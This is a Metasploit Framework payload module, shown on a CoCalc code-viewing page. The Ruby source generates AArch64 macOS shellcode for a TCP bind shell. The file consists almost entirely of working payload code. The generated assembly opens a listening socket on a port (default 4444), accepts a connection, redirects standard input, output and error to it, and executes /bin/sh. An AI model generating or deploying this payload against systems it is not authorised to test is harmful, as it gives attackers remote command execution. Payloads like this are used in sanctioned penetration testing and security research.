CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/osx/aarch64/shell_bind_tcp.rb
Views: 11780
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
CachedSize = 236
8
9
include Msf::Payload::Single
10
include Msf::Payload::Osx
11
include Msf::Sessions::CommandShellOptions
12
13
def initialize(info = {})
14
super(
15
merge_info(
16
info,
17
'Name' => 'OS X x64 Shell Bind TCP',
18
'Description' => 'Bind an arbitrary command to an arbitrary port',
19
'Author' => [ 'alanfoster' ],
20
'License' => MSF_LICENSE,
21
'Platform' => 'osx',
22
'Arch' => ARCH_AARCH64,
23
'Handler' => Msf::Handler::BindTcp,
24
'Session' => Msf::Sessions::CommandShellUnix
25
)
26
)
27
28
# exec payload options
29
register_options(
30
[
31
OptString.new('CMD', [ true, 'The command string to execute', '/bin/sh' ]),
32
Opt::LPORT(4444)
33
]
34
)
35
end
36
37
def generate(_opts = {})
38
# Split the cmd string into arg chunks
39
cmd_str = datastore['CMD']
40
cmd_and_args = Shellwords.shellsplit(cmd_str).map { |s| "#{s}\x00" }
41
42
cmd = cmd_and_args[0]
43
args = cmd_and_args[1..]
44
45
# Don't smash the real sp register, re-create our own on the x9 scratch register
46
stack_register = :x9
47
cmd_string_in_x0 = create_aarch64_string_in_stack(
48
cmd,
49
registers: {
50
destination: :x0,
51
stack: stack_register
52
}
53
)
54
55
lport = datastore['LPORT'].to_i
56
lhost = datastore['LHOST']
57
58
lport_hex = [lport].pack('v').bytes.map { |b| b.to_s(16).rjust(2, '0') }.join
59
lhost_hex = [IPAddr.new(lhost, Socket::AF_INET).to_i].pack('L<').bytes.map { |b| b.to_s(16).rjust(2, '0') }
60
61
result = <<~EOF
62
// socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
63
// socket:
64
mov x0, 0x2 // x0 = AF_INET
65
mov x1, 0x1 // x1 = SOCK_STREAM
66
mov x2, 0 // x2 = IPPROTO_IP
67
movz x16, #0x0200, lsl #16 // x16 = SYS_SOCKET 0x2000061
68
movk x16, #0x0061
69
svc 0 // system call
70
71
// Socket file descriptor will be in x0; Additionally the store socket file descriptor in x13
72
mov x13, x0
73
74
// int bind(int socket, const struct sockaddr *address, socklen_t address_len);
75
// bind:
76
// mov x0, x13 // x0 = socketfd, already set from previous socket result - additionally stored in x16
77
lsl x1, x1, #1 // x1 = struct socaddr_in; sin_family=AF_INET
78
movk x1, #0x#{lport_hex}, lsl #16 // sin_port = htons(#{lport})
79
movk x1, #0x#{lhost_hex[2..3].join}, lsl #32 // sin_addr = inet_aton(ip, &addr.sin_addr)
80
movk x1, #0x#{lhost_hex[0..1].join}, lsl #48
81
str x1, [sp, #-8]!
82
mov x1, sp // XXX: Should be: add x1, sp, x2, but assembler does not support it
83
add x1, x1, x2 // XXX: Should be: add x1, sp, x2, but assembler does not support it
84
mov x2, 16 // x2 = sizeof(struct sockaddr) = 16
85
movz x16, #0x0200, lsl #16 // x16 = SYS_BIND 0x2000068
86
movk x16, #0x0068
87
svc 0
88
89
// int listen(int socket, int backlog);
90
// listen:
91
mov x0, x13 // x0 = socketfd, initially stored in x13
92
movz x1, #0 // x1 = backlog = 0
93
movz x16, #0x0200, lsl #16 // x16 = SYS_LISTEN 0x200006a
94
movk x16, #0x006a
95
svc 0
96
97
// int accept(int socket, struct sockaddr *restrict address, socklen_t *restrict address_len);
98
// accept:
99
mov x0, x13 // x0 = socketfd, initially stored in x13
100
mov x1, #0 // x1 = restrict address = NULL
101
mov x2, #0 // x2 = address_len = 0
102
movz x16, #0x0200, lsl #16 // x16 = SYS_LISTEN 0x200001e
103
movk x16, #0x001e
104
svc 0
105
106
// Accepted socket file descriptor will be in x0; Additionally the store socket file descriptor in x13
107
mov x13, x0
108
109
// int dup2(int filedes=socketfd, int newfd=STDIN/STDOUT/STD)
110
// dup2_calls:
111
movz x16, #0x0200, lsl #16 // x16 = SYS_DUP2 0x200005a
112
movk x16, #0x005a
113
mov x0, x13 // x0 = socket
114
movz x1, 0 // x1 = STDIN
115
svc 0 // system call
116
mov x0, x13 // x0 = socket
117
movz x1, 1 // x1 = STDOUT
118
svc 0 // system call
119
mov x0, x13 // x0 = socket
120
movz x1, 2 // x1 = STDERR
121
svc 0 // system call
122
// int execve(const char *path, char *const argv[], char *const envp[]);
123
// exec_call:
124
// Set system call SYS_EXECVE 0x200003b in x16
125
movz x16, #0x0200, lsl #16
126
movk x16, #0x003b
127
mov #{stack_register}, sp // Temporarily move SP into scratch register
128
// Arg 0: execve - const char *path - Pointer to the program name to run
129
#{cmd_string_in_x0}
130
// Push execve arguments, using x1 as a temporary register
131
#{args.each_with_index.map do |value, index|
132
"// Push argument #{index}\n" +
133
create_aarch64_string_in_stack(value, registers: { destination: :x1, stack: stack_register })
134
end.join("\n")
135
}
136
// Arg 1: execve - char *const argv[] - program arguments
137
#{cmd_and_args.each_with_index.map do |value, index|
138
bytes_to_base_of_string = cmd_and_args[index..].sum { |string| align(string.bytesize) } + (index * 8)
139
[
140
"// argv[#{index}] = create pointer to base of string value #{value.inspect}",
141
"mov x1, #{stack_register}",
142
"sub x1, x1, ##{bytes_to_base_of_string} // Update the target register to point to base of the string",
143
"str x1, [#{stack_register}], #8 // Store the pointer in the stack"
144
].join("\n") + "\n"
145
end.join("\n")}
146
// argv[#{cmd_and_args.length}] = NULL
147
str xzr, [#{stack_register}], #8
148
// Set execve arg1 to the base of the argv array of pointers
149
mov x1, #{stack_register}
150
sub x1, x1, ##{(cmd_and_args.length + 1) * 8}
151
// Arg 2: execve - char *const envp[] - Environment variables, NULL for now
152
mov x2, xzr
153
// System call
154
svc #0
155
EOF
156
157
compile_aarch64(result)
158
end
159
160
def create_aarch64_string_in_stack(string, registers: {})
161
target = registers.fetch(:destination, :x0)
162
stack = registers.fetch(:stack, :x9)
163
164
# Instructions for pushing the bytes of the string 8 characters at a time
165
push_string = string.bytes
166
.each_slice(8)
167
.each_with_index
168
.flat_map do |eight_byte_chunk, _chunk_index|
169
mov_instructions = eight_byte_chunk
170
.each_slice(2)
171
.each_with_index
172
.map do |two_byte_chunk, index|
173
two_byte_chunk = two_byte_chunk.reverse
174
two_byte_chunk_hex = two_byte_chunk.map { |b| b.to_s(16).rjust(2, '0') }.join
175
two_byte_chunk_chr = two_byte_chunk.map(&:chr).join
176
"mov#{index == 0 ? 'z' : 'k'} #{target}, #0x#{two_byte_chunk_hex}#{index == 0 ? '' : ", lsl ##{index * 16}"} // #{two_byte_chunk_chr.inspect}"
177
end
178
[
179
"// Next 8 bytes of string: #{eight_byte_chunk.map(&:chr).join.inspect}",
180
*mov_instructions,
181
"str #{target}, [#{stack}], #8 // Store #{target} on #{stack}-stack and increment by 8"
182
]
183
end
184
push_string = push_string.join("\n") + "\n"
185
186
set_target_register_to_base_of_string = <<~EOF
187
mov #{target}, #{stack} // Store the current stack location in the target register
188
sub #{target}, #{target}, ##{align(string.bytesize)} // Update the target register to point to base of the string
189
EOF
190
191
result = <<~EOF
192
#{push_string}
193
#{set_target_register_to_base_of_string}
194
EOF
195
196
result
197
end
198
199
def align(value, alignment: 8)
200
return value if value % alignment == 0
201
202
value + (alignment - (value % alignment))
203
end
204
205
def compile_aarch64(asm_string)
206
require 'aarch64/parser'
207
parser = ::AArch64::Parser.new
208
asm = parser.parse without_inline_comments(asm_string)
209
210
asm.to_binary
211
end
212
213
# Remove any human readable comments that have been inlined
214
def without_inline_comments(string)
215
comment_delimiter = '//'
216
result = string.lines(chomp: true).map do |line|
217
instruction, _comment = line.split(comment_delimiter, 2)
218
next if instruction.blank?
219
220
instruction
221
end.compact
222
result.join("\n") + "\n"
223
end
224
end
225
226